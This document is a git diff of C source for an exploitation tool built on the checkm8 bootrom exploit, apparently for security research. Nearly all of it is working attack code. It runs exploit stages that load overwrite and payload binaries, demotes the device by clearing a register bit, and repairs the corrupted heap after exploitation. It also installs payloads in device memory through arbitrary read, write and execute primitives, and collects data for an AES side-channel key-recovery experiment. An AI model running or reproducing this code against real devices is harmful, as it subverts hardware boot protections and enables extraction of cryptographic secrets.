-                    0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
-                    0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
-                    0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
-                    0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
-                    0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
-                    0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
-                    0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
-                    0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
-                    0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
-                    0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
-                    0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
-                    0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
-                    0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
-                    0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
-            };
-
-    struct dev_cmd_resp *resp;
-
-    resp = write_gadget(dev, 0x180154000, sbox, 256);
-    if(IS_CHECKM8_FAIL(resp->ret))
+    for(j = 0; j < 16; j++)
    {
-        printf("failed to write sbox\n");
+        for(b = 0; b < 256; b++)
+        {
+            u[j][b] = data->t[j][b] / data->tnum[j][b];
+            udev[j][b] = data->tsq[j][b] / data->tnum[j][b];
+            udev[j][b] -= u[j][b] * u[j][b];
+            udev[j][b] = sqrt(udev[j][b]);
+        }
+    }
+
+    sprintf(linebuf, "dat_%lli.dat", data->count / 16 / 100000);
+    outfile = fopen(linebuf, "w+");
+    if(outfile == NULL)
+    {
+        printf("failed to open data file\n");
        return;
    }

-    free_dev_cmd_resp(resp);
-    resp = write_gadget(dev, 0x180154000 + 256, rc_lookup, 11);
-    if(IS_CHECKM8_FAIL(resp->ret))
+    for(j = 0; j < 16; j++)
    {
-        printf("failed to write rc lookup\n");
+        for(b = 0; b < 256; b++)
+        {
+            sprintf(linebuf,
+                    "%2d %3d %lli %f %f %f %f\n",
+                    j, b, (long long) data->tnum[j][b],
+                    u[j][b], udev[j][b],
+                    u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b]));
+            fputs(linebuf, outfile);
+        }
+    }
+
+    fclose(outfile);
+}
+
+void run_corr_exp(struct pwned_device *dev, char *fname)
+{
+    int i, j, iter = 0;
+    char dat_fname[32];
+    FILE *outfile;
+    DEV_PTR_T addr_async_buf;
+
+    struct aes_constants *c = get_constants();
+    struct corr_data *data;
+
+    unsigned char msg[16];
+    unsigned char key[16];
+    unsigned char key_sched[176];
+
+    sprintf(dat_fname, "KEY");
+    outfile = fopen(dat_fname, "w+");
+    if(outfile == NULL)
+    {
+        printf("failed to open key file\n");
        return;
    }

-    free_dev_cmd_resp(resp);
-    resp = write_gadget(dev, 0x180154000 + 256 + 16, mul2_lookup, 256);
-    if(IS_CHECKM8_FAIL(resp->ret))
+    srand(time(NULL));
+    for(i = 0; i < 16; i++)
    {
-        printf("failed to write mul2 lookup\n");
-        return;
+        msg[i] = 0;
+        key[i] = random();
+        fprintf(outfile, "%02x", key[i]);
    }

-    free_dev_cmd_resp(resp);
-    resp = write_gadget(dev, 0x180154000 + 512 + 16, mul3_lookup, 256);
-    if(IS_CHECKM8_FAIL(resp->ret))
+    fprintf(outfile, "\n");
+    fflush(outfile);
+    fclose(outfile);
+
+    expand_key(key, key_sched, 11, c);
+
+    addr_async_buf = setup_corr_exp(dev, key);
+    printf("got async buf ptr %llx\n", addr_async_buf);
+    if(addr_async_buf == DEV_PTR_NULL) return;
+
+    while(1)
    {
-        printf("failed to write mul3 lookup\n");
-        return;
+        sprintf(dat_fname, "%s_%i.bin", fname, iter);
+        outfile = fopen(dat_fname, "wb+");
+        if(outfile == NULL)
+        {
+            printf("failed to open outfile\n");
+            return;
+        }
+
+        for(j = 0; j < 375; j++)
+        {
+            data = get_corr_exp_data(dev, addr_async_buf);
+            if(data->num_cutoff != 0)
+                printf("more than 0 entries were cutoff\n");
+
+            for(i = 0; i < N_CORR_ENTRIES; i++)
+            {
+                fwrite(msg, 1, sizeof(msg), outfile);
+                fwrite("\x00", 1, 1, outfile);
+                fwrite(&data->data[i], 1, 1, outfile);
+                fwrite("\x00\x00", 1, 2, outfile);
+
+                aes128_encrypt_ecb(msg, 16, key_sched, c);
+            }
+
+            fflush(outfile);
+            for(i = 0; i < 16; i++)
+            {
+                if(msg[i] != data->msg[i])
+                {
+                    printf("aes error! message mismatch\n");
+                    free(data);
+                    return;
+                }
+            }
+
+            free(data);
+        }
+
+        fclose(outfile);
+        iter++;
+        if(iter == 46) break;
    }
 }

 int main()
 {
-    struct dev_cmd_resp *resp;
    struct pwned_device *dev = exploit_device();
    if(dev == NULL || dev->status == DEV_NORMAL)
    {
@@ -151,90 +189,33 @@ int main()
        return -1;
    }

-    unsigned char key[16] = {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd,
-                             0xef};
-    unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
-                              0xef};
+    open_device_session(dev);

-
-    if(IS_CHECKM8_FAIL(open_device_session(dev)))
-    {
-        printf("failed to open device session\n");
-        return -1;
-    }
-
-    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
-    {
-        printf("failed to install sync payload\n");
-        return -1;
-    }
-
-    if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW, SRAM)))
-    {
-        printf("failed to install task sleep payload\n");
-        return -1;
-    }
-
-    resp = write_gadget(dev, 0x180152000, key, 16);
-    if(IS_CHECKM8_FAIL(resp->ret))
-    {
-        printf("failed to write key to device\n");
-        return -1;
-    }
-
-    free_dev_cmd_resp(resp);
-    resp = write_gadget(dev, 0x180153000, data, 16);
-    if(IS_CHECKM8_FAIL(resp->ret))
-    {
-        printf("failed to write aes data\n");
-        return -1;
-    }
-
-
-    free_dev_cmd_resp(resp);
-    resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
-    if(IS_CHECKM8_FAIL(resp->ret))
-    {
-        printf("failed to execute sync payload\n");
-        return -1;
-    }
-
-    write_aes_utils(dev);
-
-    free_dev_cmd_resp(resp);
-    int i = 0;
-    while(1)
-    {
-        resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7,
-                               0x180153000, 16, 0x180152000,
-                               0x180154000, 0x180154000 + 256,
-                               0x180154000 + 256 + 16, 0x180154000 + 512 + 16);
-        if(IS_CHECKM8_FAIL(resp->ret))
-        {
-            printf("failed to execute sw AES payload\n");
-            return -1;
-        }
-
-        printf("%i) op took %llu", i++, resp->retval);
-
-        free_dev_cmd_resp(resp);
-        resp = read_gadget(dev, 0x180153000, 16);
-        if(IS_CHECKM8_FAIL(resp->ret))
-        {
-            printf("failed to read encrypted data from memory\n");
-        }
-
-        printf(" -> ");
-        for(int j = 0; j < 16; j++)
-        {
-            printf("%02x", resp->data[j]);
-        }
-        printf("\n");
-
-        free_dev_cmd_resp(resp);
-        usleep(1000000);
-    }
+    demote_device(dev);
+    fix_heap(dev);
+    usb_task_exit(dev);

    close_device_session(dev);
+
+
+//    run_corr_exp(dev, "key00");
+//
+//    uninstall_all_data(dev);
+//    uninstall_all_payloads(dev);
+//
+//    // crash!
+//    execute_gadget(dev, 0, 0, 0);
    free_device(dev);
+    return 0;
 }
+
+
+
+
+
+
+
+
+
+
+
--- a/c8_remote/src/command.c
+++ b/c8_remote/src/command.c
@@ -1,7 +1,7 @@
-#include "command.h"
+#include "tool/command.h"

 #include "checkm8.h"
-#include "usb_helpers.h"
+#include "tool/usb_helpers.h"

 #include <stdlib.h>
 #include <string.h>
@@ -25,7 +25,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len,

        checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);

-        ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000, trigger);
+        ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 0, trigger);
        if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
        else
        {
@@ -71,7 +71,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
        return cmd_resp;
    }

-    ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100, 0);
+    ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 0, 0);
    if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
    else
    {
@@ -80,7 +80,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
        return cmd_resp;
    }

-    ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
+    ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
    if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
    else
    {
@@ -89,7 +89,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
        return cmd_resp;
    }

-    ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
+    ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
    if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
    else
    {
@@ -110,7 +110,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
        ret = ctrl_transfer(dev,
                            0xA1, 2, 0xFFFF, 0,
                            resp_buf, response_len + 1,
-                            100, 1);
+                            0, 1);
        if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
        else
        {
@@ -124,7 +124,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
        ret = ctrl_transfer(dev,
                            0xA1, 2, 0xFFFF, 0,
                            resp_buf, response_len,
-                            100, 1);
+                            0, 1);
        if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
        else
        {
@@ -157,7 +157,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
 #define MEMS_MAGIC 0x6d656d736d656d73ull // 'memsmems'[::-1]
 #define DONE_MAGIC 0x646f6e65646f6e65ull // 'donedone'[::-1]

-struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
+struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len)
 {
    checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
    unsigned long long cmd_args[5];
@@ -170,7 +170,7 @@ struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsign
    return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 8);
 }

-struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
+struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len)
 {
    checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
    unsigned long long cmd_args[5];
@@ -205,7 +205,7 @@ struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int na
    return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
 }

-struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
+struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len)
 {
    checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
    long long index = 0, amount;
@@ -254,7 +254,7 @@ struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, i
    return ret;
 }

-struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
+struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len)
 {
    checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);

--- a/c8_remote/src/exploit.c
+++ b/c8_remote/src/exploit.c
@@ -1,12 +1,14 @@
 #include "checkm8.h"
+
 #include <stdlib.h>
-
-#include "usb_helpers.h"
-
 #include <stdio.h>
 #include <string.h>
 #include <unistd.h>

+#include "tool/usb_helpers.h"
+#include "tool/command.h"
+#include "dev/addr.h"
+
 static unsigned char data_0xA_0xC0_buf[192] =
        {
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
@@ -148,6 +150,12 @@ int stage3_function(struct pwned_device *dev)

    checkm8_debug_indent("exploit stage 3\n");
    FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
+    if(overwrite_file == NULL)
+    {
+        checkm8_debug_indent("\tfailed to open overwrite file\n");
+        return CHECKM8_FAIL_NOINST;
+    }
+
    fseek(overwrite_file, 0, SEEK_END);
    ow_len = ftell(overwrite_file);
    rewind(overwrite_file);
@@ -157,6 +165,12 @@ int stage3_function(struct pwned_device *dev)
    fclose(overwrite_file);

    FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
+    if(payload_file == NULL)
+    {
+        checkm8_debug_indent("\tfailed to open payload file\n");
+        return CHECKM8_FAIL_NOINST;
+    }
+
    fseek(payload_file, 0, SEEK_END);
    pl_len = ftell(payload_file);
    rewind(payload_file);
@@ -289,6 +303,217 @@ struct pwned_device *exploit_device()
    }
 }

+int demote_device(struct pwned_device *dev)
+{
+    checkm8_debug_indent("demote_device(dev = %p)\n", dev);
+    unsigned int oldval, newval;
+    int retval;
+
+    if(IS_CHECKM8_FAIL(open_device_session(dev)))
+    {
+        checkm8_debug_indent("\tfailed to open a device session\n");
+        return CHECKM8_FAIL_XFER;
+    }
+
+    struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        free_dev_cmd_resp(resp);
+        checkm8_debug_block("\tfailed to read demotion reg\n");
+        return CHECKM8_FAIL_INVARGS;
+    }
+
+    oldval = *((unsigned int *) resp->data);
+    free_dev_cmd_resp(resp);
+    if(!(oldval & 1u))
+    {
+        checkm8_debug_block("\tdevice already demoted\n");
+        if(IS_CHECKM8_FAIL(close_device_session(dev)))
+        {
+            checkm8_debug_indent("\tfailed to close device session\n");
+            return CHECKM8_FAIL_XFER;
+        }
+
+        return CHECKM8_SUCCESS;
+    }
+
+    oldval &= 0xFFFFFFFE;
+
+    checkm8_debug_indent("\tattempting to demote device\n");
+    resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        checkm8_debug_block("\tfailed to write to demotion reg\n");
+        free_dev_cmd_resp(resp);
+
+        if(IS_CHECKM8_FAIL(close_device_session(dev)))
+        {
+            checkm8_debug_indent("\tfailed to close device session\n");
+            return CHECKM8_FAIL_XFER;
+        }
+
+        return CHECKM8_FAIL_INVARGS;
+    }
+    free_dev_cmd_resp(resp);
+
+    // verify
+    resp = dev_read_memory(dev, DEMOTE_REG, 4);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        free_dev_cmd_resp(resp);
+        checkm8_debug_block("\tfailed to verify demotion reg\n");
+
+        if(IS_CHECKM8_FAIL(close_device_session(dev)))
+        {
+            checkm8_debug_indent("\tfailed to close device session\n");
+            return CHECKM8_FAIL_XFER;
+        }
+
+        return CHECKM8_FAIL_INVARGS;
+    }
+
+    newval = *((unsigned int *) resp->data);
+    free_dev_cmd_resp(resp);
+
+    if(oldval == newval)
+    {
+        checkm8_debug_block("\tdemotion success!\n");
+        retval = CHECKM8_SUCCESS;
+    }
+    else
+    {
+        checkm8_debug_block("\tdemotion register did not change!\n");
+        retval = CHECKM8_FAIL_INVARGS;
+    }
+
+    if(IS_CHECKM8_FAIL(close_device_session(dev)))
+    {
+        checkm8_debug_indent("\tfailed to close device session\n");
+        return CHECKM8_FAIL_XFER;
+    }
+
+    return retval;
+}
+
+int fix_heap(struct pwned_device *dev)
+{
+    checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
+    struct heap_header block;
+    struct dev_cmd_resp *resp;
+
+    unsigned long long curr = ADDR_HEAP_BASE;
+    unsigned long long calc_args[5];
+    int ret, i;
+
+#if CHECKM8_PLATFORM == 8010
+    unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
+    unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
+
+    memset(&block, 0, sizeof(struct heap_header));
+    block.curr_size = (0x80 / 0x40);
+    block.pad_start = 0x80;
+
+    calc_args[0] = ADDR_CALC_CHKSUM;
+    //calc_args[1-2] block specific
+    calc_args[3] = 32;
+    calc_args[4] = ADDR_HEAP_COOKIE;
+
+    for(i = 0; i < 3; i++)
+    {
+        block.prev_size = prev_sizes[i];
+        resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
+        ret = resp->ret, free_dev_cmd_resp(resp);
+
+        if(IS_CHECKM8_FAIL(ret))
+        {
+            checkm8_debug_indent("\tfailed to write block %i header\n", i);
+            return ret;
+        }
+
+        calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
+        resp = dev_exec(dev, 0, 5, calc_args);
+        ret = resp->ret, free_dev_cmd_resp(resp);
+
+        if(IS_CHECKM8_FAIL(ret))
+        {
+            checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
+            return ret;
+        }
+    }
+
+    while(1)
+    {
+        resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
+        memcpy(&block, resp->data, sizeof(struct heap_header));
+        ret = resp->ret, free_dev_cmd_resp(resp);
+
+        if(IS_CHECKM8_FAIL(ret))
+        {
+            checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
+            return ret;
+        }
+
+        if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
+        {
+            block.curr_size -= 1;
+            resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
+            ret = resp->ret, free_dev_cmd_resp(resp);
+
+            if(IS_CHECKM8_FAIL(ret))
+            {
+                checkm8_debug_indent("\tfailed to write second-to-last block header\n");
+                return ret;
+            }
+
+            calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
+            resp = dev_exec(dev, 0, 5, calc_args);
+            ret = resp->ret, free_dev_cmd_resp(resp);
+
+            if(IS_CHECKM8_FAIL(ret))
+            {
+                checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
+                return ret;
+            }
+
+            block.prev_free = block.curr_free;
+            block.prev_size = block.curr_size;
+            block.curr_free = 0;
+            block.curr_size = 1;
+            resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
+                                    (unsigned char *) &block, sizeof(struct heap_header));
+            ret = resp->ret, free_dev_cmd_resp(resp);
+
+            if(IS_CHECKM8_FAIL(ret))
+            {
+                checkm8_debug_indent("\tfailed to write last block header\n");
+                return ret;
+            }
+
+            calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
+            calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
+            calc_args[3] = 32;
+            resp = dev_exec(dev, 0, 5, calc_args);
+            ret = resp->ret, free_dev_cmd_resp(resp);
+
+            if(IS_CHECKM8_FAIL(ret))
+            {
+                checkm8_debug_indent("\tfailed to calculate last block checksum\n");
+                return ret;
+            }
+
+            break;
+        }
+
+        curr += block.curr_size * 0x40;
+    }
+
+#else
+#error "Can't fix heap for unknown platform"
+#endif
+
+    return CHECKM8_SUCCESS;
+}
+
 void free_device(struct pwned_device *dev)
 {
    checkm8_debug_indent("free_device(dev = %p)\n", dev);
--- a/c8_remote/src/payload.c
+++ b/c8_remote/src/payload.c
@@ -1,13 +1,13 @@
-#include "payload.h"
+#include "tool/payload.h"

 #include <stdio.h>
 #include <stdlib.h>
 #include <stdarg.h>

-#include "command.h"
-#include "usb_helpers.h"
+#include "tool/command.h"
+#include "tool/libpayload.h"

-#include "libpayload.h"
+#include "dev/addr.h"

 struct payload
 {
@@ -15,11 +15,22 @@ struct payload
    const unsigned char *data;
    int len;

-    long long install_base;
+    DEV_PTR_T install_base;
+    DEV_PTR_T async_base;
+
    struct payload *next;
    struct payload *prev;
 };

+struct data
+{
+    DEV_PTR_T addr;
+    int len;
+
+    struct data *next;
+    struct data *prev;
+};
+
 struct payload *get_payload(PAYLOAD_T p)
 {
    struct payload *res;
@@ -28,19 +39,34 @@ struct payload *get_payload(PAYLOAD_T p)

    switch(p)
    {
-        case PAYLOAD_AES:
-            pl = payload_aes;
-            len = PAYLOAD_AES_SZ;
-            break;
-
        case PAYLOAD_AES_BUSY:
            pl = payload_aes_busy;
            len = PAYLOAD_AES_BUSY_SZ;
            break;

-        case PAYLOAD_AES_SW:
-            pl = payload_aes_sw;
-            len = PAYLOAD_AES_SW_SZ;
+        case PAYLOAD_AES_SW_BERN:
+            pl = payload_aes_sw_bern;
+            len = PAYLOAD_AES_SW_BERN_SZ;
+            break;
+
+        case PAYLOAD_AES_SW_CORR:
+            pl = payload_aes_sw_corr;
+            len = PAYLOAD_AES_SW_CORR_SZ;
+            break;
+
+        case PAYLOAD_CACHELIB:
+            pl = payload_cachelib;
+            len = PAYLOAD_CACHELIB_SZ;
+            break;
+
+        case PAYLOAD_EXIT_USB_TASK:
+            pl = payload_exit_usb_task;
+            len = PAYLOAD_EXIT_USB_TASK_SZ;
+            break;
+
+        case PAYLOAD_FLOPPYSLEEP:
+            pl = payload_floppysleep;
+            len = PAYLOAD_FLOPPYSLEEP_SZ;
            break;

        case PAYLOAD_SYNC:
@@ -48,16 +74,6 @@ struct payload *get_payload(PAYLOAD_T p)
            len = PAYLOAD_SYNC_SZ;
            break;

-        case PAYLOAD_SYSREG:
-            pl = payload_sysreg;
-            len = PAYLOAD_SYSREG_SZ;
-            break;
-
-        case PAYLOAD_TASK_SLEEP_TEST:
-            pl = payload_task_sleep_test;
-            len = PAYLOAD_TASK_SLEEP_TEST_SZ;
-            break;
-
        default:
            return NULL;
    }
@@ -69,32 +85,18 @@ struct payload *get_payload(PAYLOAD_T p)
    res->type = p;
    res->len = len;
    res->data = pl;
-    res->install_base = -1;
+    res->install_base = DEV_PTR_NULL;
+    res->async_base = DEV_PTR_NULL;
    res->next = NULL;
    res->prev = NULL;

    return res;
 }

-void free_payload(struct payload *p)
-{
-    free(p);
-}
-
-long long curr_address = 0x180150000;
-long long get_address(struct pwned_device *dev, LOCATION_T l)
-{
-    //TODO: make an actual memory allocator
-    long long ret = curr_address;
-    curr_address += 0x1000;
-    return ret;
-}
-
-
 struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
 {
    struct payload *curr;
-    for(curr = dev->installed; curr != NULL; curr = curr->next)
+    for(curr = dev->inst_pl; curr != NULL; curr = curr->next)
    {
        if(curr->type == p) return curr;
    }
@@ -105,14 +107,14 @@ struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
 int dev_link_payload(struct pwned_device *dev, struct payload *pl)
 {
    struct payload *curr;
-    if(dev->installed == NULL)
+    if(dev->inst_pl == NULL)
    {
-        dev->installed = pl;
+        dev->inst_pl = pl;
        return CHECKM8_SUCCESS;
    }
    else
    {
-        for(curr = dev->installed; curr->next != NULL; curr = curr->next);
+        for(curr = dev->inst_pl; curr->next != NULL; curr = curr->next);

        curr->next = pl;
        pl->prev = curr;
@@ -120,21 +122,125 @@ int dev_link_payload(struct pwned_device *dev, struct payload *pl)
    }
 }

-int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
+int dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
 {
-    if(dev->installed == pl)
+    if(dev->inst_pl == pl)
    {
-        dev->installed = NULL;
+        dev->inst_pl = pl->next;
        return CHECKM8_SUCCESS;
    }
    else
    {
        pl->prev->next = pl->next;
-        pl->next->prev = pl->prev;
+        if(pl->next != NULL)
+            pl->next->prev = pl->prev;
+
        return CHECKM8_SUCCESS;
    }
 }

+struct data *dev_retrieve_data(struct pwned_device *dev, DEV_PTR_T addr)
+{
+    struct data *curr;
+    for(curr = dev->inst_data; curr != NULL; curr = curr->next)
+    {
+        if(curr->addr == addr) return curr;
+    }
+
+    return NULL;
+}
+
+int dev_link_data(struct pwned_device *dev, struct data *data)
+{
+    struct data *curr;
+    if(dev->inst_data == NULL)
+    {
+        dev->inst_data = data;
+        return CHECKM8_SUCCESS;
+    }
+    else
+    {
+        for(curr = dev->inst_data; curr->next != NULL; curr = curr->next);
+
+        curr->next = data;
+        data->prev = curr;
+        return CHECKM8_SUCCESS;
+    }
+}
+
+int dev_unlink_data(struct pwned_device *dev, struct data *data)
+{
+    if(dev->inst_data == data)
+    {
+        dev->inst_data = data->next;
+        return CHECKM8_SUCCESS;
+    }
+    else
+    {
+        data->prev->next = data->next;
+        if(data->next != NULL)
+            data->next->prev = data->prev;
+
+        return CHECKM8_SUCCESS;
+    }
+}
+
+DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
+{
+    checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
+    DEV_PTR_T retval;
+    unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
+    struct data *new_entry;
+
+    struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        free_dev_cmd_resp(resp);
+        checkm8_debug_indent("\tfailed to malloc an address\n");
+        return DEV_PTR_NULL;
+    }
+
+    retval = resp->retval;
+    free_dev_cmd_resp(resp);
+
+    new_entry = malloc(sizeof(struct data));
+    new_entry->addr = retval;
+    new_entry->len = len;
+    new_entry->prev = NULL;
+    new_entry->next = NULL;
+    dev_link_data(dev, new_entry);
+
+    checkm8_debug_indent("\tgot address %llX\n", retval);
+    return retval;
+}
+
+int free_address(struct pwned_device *dev, LOCATION_T l, DEV_PTR_T ptr)
+{
+    struct dev_cmd_resp *resp;
+    struct data *entry;
+    unsigned long long free_args[2] = {ADDR_DEV_FREE, ptr};
+
+    entry = dev_retrieve_data(dev, ptr);
+    if(entry == NULL)
+    {
+        checkm8_debug_indent("\tthis pointer was not allocated through the payload interface, not freeing\n");
+        return CHECKM8_FAIL_NOINST;
+    }
+
+    resp = dev_exec(dev, 0, 2, free_args);
+    if(IS_CHECKM8_FAIL(resp->ret))
+    {
+        free_dev_cmd_resp(resp);
+        checkm8_debug_indent("\tfailed to free allocated payload memory\n");
+        return CHECKM8_FAIL_XFER;
+    }
+
+    free_dev_cmd_resp(resp);
+    dev_unlink_data(dev, entry);
+    free(entry);
+
+    return CHECKM8_SUCCESS;
+}

 int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
 {
@@ -142,7 +248,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)

    struct dev_cmd_resp *resp = NULL;
    struct payload *pl = get_payload(p);
-    long long addr = get_address(dev, loc);
+    DEV_PTR_T addr = get_address(dev, loc, pl->len);

    if(pl == NULL || addr == -1)
    {
@@ -167,13 +273,60 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)

 int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
 {
-    //TODO: free memory in memory allocator
+    checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
+    struct payload *pl = dev_retrieve_payload(dev, p);
+
+    if(pl == NULL)
+    {
+        checkm8_debug_indent("\tinvalid args (payload)\n");
+        return CHECKM8_FAIL_INVARGS;
+    }
+
+    if(IS_CHECKM8_FAIL(free_address(dev, SRAM, pl->install_base)))
+    {
+        checkm8_debug_indent("\tfailed to free memory used by payload!\n");
+        return CHECKM8_FAIL_XFER;
+    }
+
+    dev_unlink_payload(dev, pl);
+    free(pl);
